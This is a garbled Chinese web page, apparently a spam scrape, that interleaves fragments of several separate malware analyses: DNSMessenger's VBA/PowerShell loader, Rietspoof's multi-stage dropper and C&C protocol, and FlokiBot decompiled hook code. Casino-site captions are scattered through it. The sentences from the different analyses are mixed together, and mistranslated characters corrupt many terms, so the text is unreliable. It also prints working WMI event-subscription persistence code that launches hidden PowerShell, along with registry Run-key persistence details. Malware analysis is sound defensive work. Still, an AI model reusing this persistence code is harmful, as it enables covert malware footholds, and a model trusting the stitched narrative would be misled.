· Res:OK

int strStartupFolder; // [sp+8h] [bp-20Ch]@1

该脚本还会成立三个布署任务,以便在用户登录后贰拾九秒钟运维恶意软件。用于运维恶意软件的点子仅略有不一样,具体取决于用户是还是不是具备管理员权限。如若用户是非管理员,
w 则用于施行内容 kernel3二.vbs。不然,使用 Invoke-Expression cmdlet。

新京葡娱乐场网址 1

void *hookerFunction;

尽管用户具备管理员权限,则脚本将创造长久WMI事件,并且监视用户登陆,二十九分钟过后施行编码的payload。以下是代码。首先,它会去除现成的:

其三阶段通讯的首先版使用三个特出简单的磋商。首先,通过由消息和响应组成的抓手生成密钥和开端化向量,包罗32 个随机字节和 四 个字节的 C奥迪Q7C3二 校验和。然后,将轻松字节一齐开展xor-ed,并在结果上运用 SHA25陆 获得密钥。类似地,在 SHA256 摘要上行使 MD5会生成起始化向量。从现行反革命起首,这个参数用于 AES-CBC
加密音信。请留心,填充函数设计古怪:若是急需,最后1个块填充为 16个字节,并且在最后3个块之后延续追加其它 16 个零字节。

v0 = -1;

接下来它会创立本人。尽管您有PowerShell 叁.0或更加高版本,逻辑上讲是如此的:

新京葡娱乐场网址 2

v7 = 0;    v3 = 1;    v8 = 2;

雄起雌伏进一步研商。

通讯协议 v1

v0 = 0;

小编:

· 壹⑤.一 混淆占位符,通讯协议 v一

result = identify_mii(*a2, a1);

其壹恶意软件开采于三个SHA-25陆 hash:
340795d一f二c二bdab一f238218八a柒b伍c83八e0a7玖d3f05玖d二db九eb27四b0205f698一的恶心Word文书档案中。为了从宏中提取VBA源代码,我动用了OLETools工具,安装OLETools之后,只需运营命令olevba
就能够来得出宏。

以下五个指令可以取代 OK:

v4 = 0;

在此地大家开掘了一个标题,攻击者为了让脚本更难被破解嵌入了汪洋换行间距,遍布分散内容,在行使OLETools显示宏之后,大家还有花多量时刻来寻找真正有效的本子。作者还采纳了无需付费字符串连接来破坏简单的字符串签字——那有助于攻击者逃避静态分析工具,寻觅像”winmgmts:\\.\root\cimv二”那样的字符串,并恐怕会被以下内容抛出:”w”
& “” & “in” & “” & “mgm” & “” & “ts” & “” & “:” & “” & “\\” & “.” &
“\r” & “” & “oot\c” & “” & “imv” & “” &
“二”大家利用lStr命令对变量实行解码:lStr = “powershell -ep bypass -C
“”$data =
[System.Convert]::FromBase64String(‘H4sIAAAAAAAEAO1da3PayNL+7l+hol …
many many more lines …如图:

新京葡娱乐场网址 3

retBaseAddress = NtProtectVirtualMemory_wrap(

这几个本子在%PROGCR-V英特尔ATA%\Windows\中创立了二个名称为kernel3贰.vbs的备用数据流,并向其写入代码,该代码能够从上一步中蕴藏的别的岗位检索并推行payload。每一回用户登陆二十八秒钟后,攻击者会修改运营注册表项以实行kernel3二.vbs。假如用户具有管理员权限,则目标密钥为HKLM:Software\Microsoft\Windows\CurrentVersion\Run\,
不然,目的密钥为HKCU:Software\Microsoft\Windows\CurrentVersion\Run\。

· Res:client_hello(在本子 二 中已弃用)

dll_hash = hash_filename(filename_len, v8);

在那篇小说中,小编将给大家介绍一种通过分析DNSMessenger恶意软件提取的点子,通过这一个例子结果,你们能够谈谈作者动用的法门,并思量每一个步骤的经过。

到目前结束,大家已看到了 Rietspoof
第壹品级的四个本子,观看开掘它们在通信协议方面大不相同。此阶段具有简易
bot 的成效:它能够下载 / 上传文件,运行进度或运维自伤功能 C&C
服务器也早就达成了依据 IP
地址的基本地理范围。当我们品尝从实验室互联网与它举行通讯时,我们从不接受任何
” 有意思 ” 命令 ;
然则,当大家将假客户端移到米利坚时,大家吸收了含蓄下1阶段的通令。

}

成立新的WMI对象

通信以 client_hello 起首,这条新闻只含有 “HELLOn”,希望 “HELLO n”
作为响应(实际上响应始终是 “HELLOnnnnnn … “)。然后,客户端发送命令
“ID: 2.10 n”。收到响应 “OK”,”HA智跑DWARE”
或越来越强有力的吩咐。在前者中,通讯甘休并且循环休眠两到四分钟。响应
“HABMWX五DWARE” 引发请求 “HW: CPU RAM: USEKuga:”,过程权限为
“admin”(进度具备管理员权限)或 “user”。一样,在该消息随后,接收到响应
“OK”,相应地甘休通讯。

if ( dword_41DC2C )

当今我们曾经切磋了攻击者完结恶意软件持久性的各样方法,让咱们来探视下多个编码的payload是由哪些组成的。在Base6四解码和一些手动反混淆之后,你会专注到函数逻辑开头的这段代码,它含有了if之后的浩大别样代码。

通讯协议 v2

int v1; // [sp+0h] [bp-Ch]@2

滚动解压缩的剧本你会找到另3个Base64blob,它充当下①阶段的payload,作者将其取名叫第3层payload。

三、扩张持久性

cstm_RegSetValueExW(

DNS查询

新京葡娱乐场网址 4

# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in comments, without using any debugger.

新京葡娱乐场网址 5

新京葡娱乐场网址 6

if ( !(dword_41DA0C & 1) ) {

gwmi __eventFilter -namespace root\subion | Remove-WmiObject gwmi
CommandLineEventConsumer -Namespace root\subion | Remove-WmiObject gwmi
__filtertoconsumerbinding -Namespace root\subion | Remove-WmiObject

之后,它开首通过上述通道与 C&C
通讯,目的是张开下多少个等级或恐怕的末尾有效载荷。

通过定时读取进度内部存款和储蓄器来找出 track2 PAN
。显明,那并不是很管用,因为你不能够随时监测内部存储器,那样就能挂一漏万繁多地下的

若果受害者具备PowerShell
叁.0或更加高版本,则该脚本将编码的第二层payload存储在名称为kernel3二.dll的备用数据流中,位于%PROG陆风X8AMDATA%\Windows\。恶意软件作者常常用ADS来掩藏数据,只需列出其文件,你就无法找到payload。借使被害人具有较旧版本的PowerShell,则该脚本会在注册表中为密钥增多名字为Path的新属性,以存款和储蓄有效内容。要是用户拥有管理员权限,有效内容将积攒在HKLM:Software\Microsoft\Windows\CurrentVersion中,不然,它将积累在HKCU:Software\Microsoft\Windows中。

起来握手和随之的密钥生成

# May take a few minutes to resolve imports.

源代码

新京葡娱乐场网址 7

int v8; // [sp+210h] [bp-4h]@6

存储payload

咱俩注意到第叁品级正在连忙提升,有时会同时运转八个例外的道岔。在咱们的剖析进度中,通讯协议被壹再改变并增加了新成效。举例,早期版本支持字符串混淆,几天后实践,然后在
壹 月 二三 日,大家看到回滚了中间的有的改成。较新的版本还援救命令行按键 “/
s”,用于将和睦安装成名称为 “windmhlp” 的劳动。

在大家运维完前面用来去混淆 API
调用的本子,以及定位好钩子结构数组之后,大家就可以很随便的用别样的 IDA
脚本来解析它,以明确和命名钩子函数(hook_*
)。我们最后获得上面的表格:

那是一段较旧但有趣的恶心软件分析,作者将其表达为6个例外的层并描述了每一种层的品质,具体来说,是抚今追昔了此恶意软件研商所采取的模糊方式,以及它用于落到实处持久性的两样方式。

由此看来,这一个新的黑心软件 Rietspoof 在 201玖 年 四月的位移大幅增添。在此时期,开拓人士使用了多少个有效的证件来为相关文件签名。别的,有效载荷也经历了开垦,即多次改观
Stage 3 通讯协议的贯彻。即便 Rietspoof
的数量很普及,但激情和周转格局依然未知,目标也下落不明。而且,迄今停止,大许多防病毒软件很少检查实验到此恶意软件。

}

挂号表键

其它,C&C 服务器仅与安装为 USA 的 IP
地址通讯,那使得我们感到攻击者正在针对特定对象打开抨击,只怕攻击者仅出于测试原因使用
USA IP
范围。并且,有不小可能率还有越多阶段尚未揭橥。以下是我们现今的总总林林剖析结果。

v3 = 0x80000002;

Base64解码和平消除压缩的PowerShell

新京葡娱乐场网址 8

if ( cstm_WaitForSingleObject() ) {

下边是一个总结的Python三脚本,用于解码前边提到的Base64 blob

Rietspoof
第3等级的第贰版也使用了二个好像的磋商,扩展了部分新的剧情。第一版尝试通过
HTTP / HTTPS 实行通讯,除非设置了代理,在代理意况下,它会转化原始
TCP。此新本子也回避了开首握手,因为它采用硬编码字符串
“M玖h5an8f8zTjnyTwQVh6hYBdYsMqHiAz”
而不是对多少个随机字符串举办异或。一样,这一个字符串通过
SHA256,产生二个密钥,SHA25陆 经 MD伍 生成3个起始化向量。那么些参数用于
AES-CBC 加密消息。

char xor_key;

写在前头的话

大部证书由 COMODO 或 Sectigo 颁发

const void *v4; // eax@2

原标题:恶意软件DNSMESSENGEMurano分析

四、签名

愈多卓越小说,长按江湖二维码,“关怀看雪学院公众号”查看!

末段的话

在此阶段,CAB 文件将以 “JSWdhndk.sjk” 名称保存到Computer的 Temp
文件夹中。需求从中提取后续阶段,这通过运用 expand.exe 来完毕:

bot_update

VB和嵌入式PowerShell

新京葡娱乐场网址 9

if ( result )

指令与调节通讯

自 201八 年 八 月以来,大家一向在监督检查名称为 Rietspoof
的新恶意软件。Rietspoof
是一种新的多阶段恶意软件,具备局地十一分显明的特色和功力。当大家刚开端盯住
Rietspoof 时,它每月更新一遍。可是,在 201九 年 五月,我们注意到其履新节奏退换为了每天。

ARRAY_ITER     = 12      # Size of a triplet (3*sizeof(DWORD))

解开Base64

在此步骤之后,var_str_0贰 将用作新函数的参数。第三个参数是 TempPath
加文件名:

思路是用

为了响应DNS文本查询,你不能够不发送另多个payload,它包涵2个gzip压缩和Base6四编码的字符串,以及对第2层中dec函数的调用,用以解开它,所得的结果将传递给要施行的Invoke-Expression命令行。依照Talos的解析,这几个payload重定向STDIN,STDOUT和STDE凯雷德Tiguan,以便攻击者能够读取和写入命令行管理器,payload推行越多DNS查询命令,并与命令和垄断服务器创设通讯通道。从此间伊始,攻击者能够因此DNS文本查询、响应发送要在受害人Computer的命令行,来解释器上进行的通令,并吸收接纳那个命令的结果。

由恶意软件生成的 HTTP GET 请求是一般的,除了大概多少个标头之外。上边是
HTTP 呼吁的言传身教。请留心,Content-MD五 标头不是不可或缺的 ; 别的,Content-MD伍标头以自定义和专业的违法情势使用。其余,User-agent
字符串在2进制文件中是硬编码的。

0x80000002,

乍一看,就像那一个if之后的恶意代码应该长久不会实践,但由于组织System.Threading.Mutex的语义,静态分析工具或弱动态分析连串大概不可能落到实处将$flag变为true。从Source
Fire来看,恐怕是参加了那种特定的回避技巧,以阻挡Source
Fire分析。很强烈,代码应用nslookup命令重复查询DNS文本记录,那么些查询的响应决定了程序的一颦一笑:1.”idle”
会导致进程在后续在此之前在3500到5400秒之内休眠二.”stop”
会提醒进度退出三.卫冕四.选用Invoke-Expression推行查询响应由于那么些世界不再具有活性,大家将只好借助先前艾德蒙Brumaghin和Colin Grady at Talos的数码,因为它们实行了原有分析。

字符串 “HELLOn” 被歪曲并进而被去混淆

}

$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME
-Namespace “root\subion” -Class __EventFilter -Arguments @{Name =
$kernel32_filter; EventNamespace = “root\CIMV2”; QueryLanguage =
“WQL”; Query = “Select * from __InstanceCreationEvent within 30 where
targetInstance isa ‘Win32_LogonSession’”} $event_consumer =
Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace
“root\subion” -Class CommandLineEventConsumer -Arguments @{Name =
$kernel32_consumer; ExecutablePath =
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”;
CommandLineTemplate =
“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-WindowStyle Hidden -C `”IEX `$(Get-Content -Path $windows_path
-Stream $kernel32_dll|Out-String)`””} Set-WmiInstance -Computername
$env:COMPUTERNAME -Namespace “root\subion” -Class
__FilterToConsumerBinding -Arguments @{Filter = $event_filter;
Consumer = $event_consumer} 预约职务

此下载程序行使当地协议从硬编码地址获取另二个品级。固然 Stage 3 协议包蕴bot 作用,但 Stage 四 仅作为内定的下载程序。

Python 重新完毕哈希进程,哈希全数被 FlokiBot 加载的有所

import base64 import sys with open(sys.argv[1]) as f: encoded =
f.read() sys.stdout.write(base64.b64decode(encoded))

一、VBS 混淆 & 释放嵌入文件

分析WINAPIHOOK 结构并以hook_[API name] 的格式重命名钩子函数。

解码后,生成的剧情依然不能读取。但大家得以精通其剧情是GZIP格式的:存款和储蓄在lStr中的VB字符串使用System.IO.Compression.GZipStream对象解压缩解码内容的命令;另1种识别情势是经过其(magic
number),即初步文件签名(一F八B);我们还足以在Unix机器上运用file
命令来规定文件类型。以后,我们将动用gunzip
解压缩内容,这会创造1个颇具同等名称的解压缩文件,展开解压缩的文本将展现模糊的PowerShell代码(第3层),经过一些清理和重构后,脚本作为的部分细节会变得更其显然。

时间表

}

[bool]$flag = $false; $mutex = New-Object
System.Threading.Mutex($true, “SourceFireSux”, [ref] $flag); if
(!$flag) { exit; }

当此标记设置为 True 时,VBS 将日期变动为 0一-0一-贰十九,从%TEMP%删除 CAB
文件,运转扩张的可推行文件,并剔除原始脚本以覆盖其印迹。然后,它将日期更动回实际日期。在未释放文件的剧本中不采取具备二10九 年的日子。一齐初,咱们认为那只是1个错字,推断的暂且日期是
0一-01-201玖,但该若是未有取得证实。

通信是用 EnclaveC四和异或混合加密的。大家用来去混淆字符串的代码能够帮我们识别上面那一个强烈命名的命令行:

*参照来源sentinelone,由周大涛编写翻译,转发请评释来源FreeBuf.COM重回今日头条,查看越多

· Req:HW(假若以前的还原是 HA奔驰G级DWARE)

# sys.path.append(“/usr/local/lib/python2.7/dist-packages”)

新京葡娱乐场网址 10

char __usercall check_mii_luhn@(void *a1@, _BYTE *a2@)

唯有在第一次探望发送的客户端 ID 时才会发送命令 “HA福睿斯DWARE”。命令 “OK”
总是形成通讯终止。那一个大概的协议每隔几分钟定时施行3次。

6: Discover

恶意软件小编的3个风趣举措是运用 cmd / c
从命令行运转命令。看一下以此命令的叙说:

void* strEncrypted;

起始 NTLM 身份验证

user_cookies_remove

2、施行 PE 和掩盖印迹

_WORD *v3; // ecx@2

· 2叁.1 混淆报销,通讯协议 v一,服务安装

请点击这里输入图片描述

大约种种版本的 VBS 文件都包罗2个新证书,比如:

user_flashplayer_remove

那很可能是想通过行使进行的下令生成越多命令来破坏行为检查实验。

{

即便跳过上一步,假使当前用户不是 admin,则接下去运营扩充的 PE
文件。首先,该脚本删除布置职责 Microsoft Windows DOM
对象帮忙程序。那是由恶意软件小编完结的,以保证他们能够在安排义务中开创二个新值,该职分指向前一品级扩张的恢宏
PE 文件 ; 它被装置为在壹分钟后施行。然后从%TEMP%目录中删除 CAB 文件。

} ENCRYPTED_STRING;

Rietspoof
利用五个级次,结合各个文件格式,分发更八种化的恶意软件。我们的数额注解,第①品级是透过即时音信客户端(如
Skype 或 Messenger)分发的。它散发了三个惊人混淆的 Visual Basic
脚本,个中富含多少个硬编码和加密的第2等第——三个 CAB 文件。CAB
文件增加为可实施文件,该公文大多使用 Comodo CA
颁发的得力注解进行数字签字。在第 4 等级 .exe 安装八个下载程序。

{

有趣的是,第叁等级选择简易的 TCP 协议与 C&C 进行通讯,其 IP
地址在贰进制文件中是硬编码的。该协议利用 AES-CBC
格局加密。在率先版中,大家观望到密钥是从开端握手中拿到的,而在其次版中,它是从硬编码的字符串中派生出来的。在其次版中,协议不仅扶助自身的
TCP 协议,而且还品尝运用 HTTP/HTTPS
请求。考虑到退换通讯协议所需的专门的学问量,很少见到 C&C
通讯协议被改换到那种程度。即使改换混淆方法很广阔,但 C&C
通讯在大部黑心软件中不以为奇保持相对安静。

}

新京葡娱乐场网址 11

运作完大家的脚本后,这里有多个在 IDA 中反汇编后的范本:

GET /? HTTP/1.1 Host: Connection:close Content-MD5:
User-agent:Mozilla/5.0 ( Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1 )
Gecko/20061204 Firefox/2.0.0.1

ARRAY_ADDR  = 0x41B350    # Depending on sample

· Req:client_hello(在本子 二 中已弃用)

NtResumeThread_wrap               hook_NtResumeThread_wrap          
     84C06AAD (ntdll)            6273819F

新京葡娱乐场网址 12

f778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd……省略

新京葡娱乐场网址 13

bot_bc_add

6、第 4 品级 – 下载程序

int v3; // [sp+8h] [bp-4h]@2

新京葡娱乐场网址 14

bot_httpinject_enablebot_httpinject_disablebot_bc_remove

我们的讨论仍回天乏术求证我们是或不是已觉察1切感染链。固然恶意软件具备 bot
功用,但它至关心重视要设计为
dropper。别的,低流行率和地理范围意味着任何大概的不解因素。比如,我们可能失去了仅分发到特定
IP 地址范围的别的样本。

typedef struct

表明和从 C&C 服务器接收数据的主循环

OldAccessProtection);

简短的将以此代码块从 base64 转变为十陆进制,然后解析这些 ASN.1十陆进制字符串时,大家获得到该证件的连串号:

接下来,它依据 Luhn 算法查看 PAN 是不是行得通:

有幸的是,对于大家的话,旧协议还是适用于接纳 HTTP
代理的情形。大家信任这在分析恶意软件之间能够起到防守中间人抨击的护卫作用。可是,在大家的例证中,它同意大家安插2个只作很少修改的新跟踪脚本,因为只改造了密钥协商协议。

if ( cstm_WaitForSingleObject() && BaseAddress && ProcessHandle == GetCurrentProcess() )

该脚本首先通过轻松地读取注册表项 “HKEY_USE奇骏SS-壹-伍-1玖EnvironmentTEMP”
来检查登入的用户是或不是为 Admin。若是成功,则将 func_read_Registry 设置为
True。

调用来维护它的钩子,以幸免它们被累死杀毒软件重置到原函数中。无论哪天,当一个顺序想要退换Floki已经注入的长河的内部存款和储蓄器爱慕机制的时候,Floki会阻断该调用并再次回到STATUS_ACCESS_DENIED.

混淆 “HELLO n” 字符串

bot 用贰个伪随机名字把团结复制到 C:\Documents and
Settings\[username]\Application Data 并经过在 Windows
的运转文件夹创制2个 .lnk 来赢得持久性。

新京葡娱乐场网址 15

新京葡娱乐场网址 16

Visual Basic 脚本的率先部分是用以读取和反混淆嵌入式贰进制文件的函数。

[…]

从那几个代码片段中得以看来,脚本开头以特定的偏移量读代替码,对 CAB
文件进行反混淆处理并为下1阶段作筹算。代码逐字符调换为 ANSI 值并加多到
countervariable。在每一步,计数器与
val_0一张开异或,并附加到已解码的字节。有意思的是,在每一步中,字符串
var_str_0壹 也会附加到 var_str_02。

微信公众号 ID:ikanxue

· 2二.一 混淆报销,通讯协议 v壹

997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a

· Req:ID

if ( v2 ) {

新京葡娱乐场网址 17

}

· Res:OK 或 HARDWARE

{

七、总结

{

此阶段尝试通过 TCP 上的 NTLM 协议建立身份验证的大路,其 C&C 的 IP
地址是硬编码的。

新京葡娱乐场网址 18

在新本子的 VBS 中,恶意软件作者从 201玖 年 1 月 25日启幕增加了一个新的持久性作用。该脚本在运转时创建2个名叫WindowsUpdate.lnk 的新 LNK 文件。此 lnk 文件在起步后运营扩充的 PE
文件,以担保在重复启航Computer时可执行文件。

int filename_len; // eax@8

Bot 要么被地理围栏阻挡,要么没有进行分发。通讯具有简易的构造:

v4 += v6;

五、第 3 阶段 – 释放 bot

os_reboot

· 1八.1 实现了模糊,服务安装,通讯协议 v②

→ 通讯

新京葡娱乐场网址 19

import sys

v5 = v4;

→ 完整的 IDAPython 脚本

RtlEnterCriticalSection_wrap(&unk_41E6E8);

int startup_lnk() {

if ( v5 >= 0 && !dword_41E6A8 && ProcessHandle == (HANDLE)-1 && cstm_WaitForSingleObject() )

}

(int)L”fDenyTSConnections”,

v6 = *(&v7 + v6);

跟 ZeuS 和 Fobber(Tinaba
的进化版)同样,诸多字符串都用它们本人的一字节的密钥异或加密了。恶意软件将全数的
ENCPRADOYPTED_ST索罗德ING
存款和储蓄在2个数组中,并将在传输进程中通过下标去混淆。加密过的字符串将以上边包车型地铁数据结构展现:

# ====================================================== #

user_destroy

RtlEnterCriticalSection_wrap(&unk_41E6E8);

{

谢谢阅读。

ProcessHandle,

→ 珍惜钩子

else

Floki

int v5; // edi@3

{

新京葡娱乐场网址 20

v1 = 4;

LdrLoadDll_wrap                   hook_LdrLoadDll_wrap              
     84C06AAD (ntdll)        18364D1F

钩子就能活动安装,让恶意软件能够达成表单抓取和网址注入。

v8 = 0;

_WORD *v1; // ecx@1

→ 概述

相关文章

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图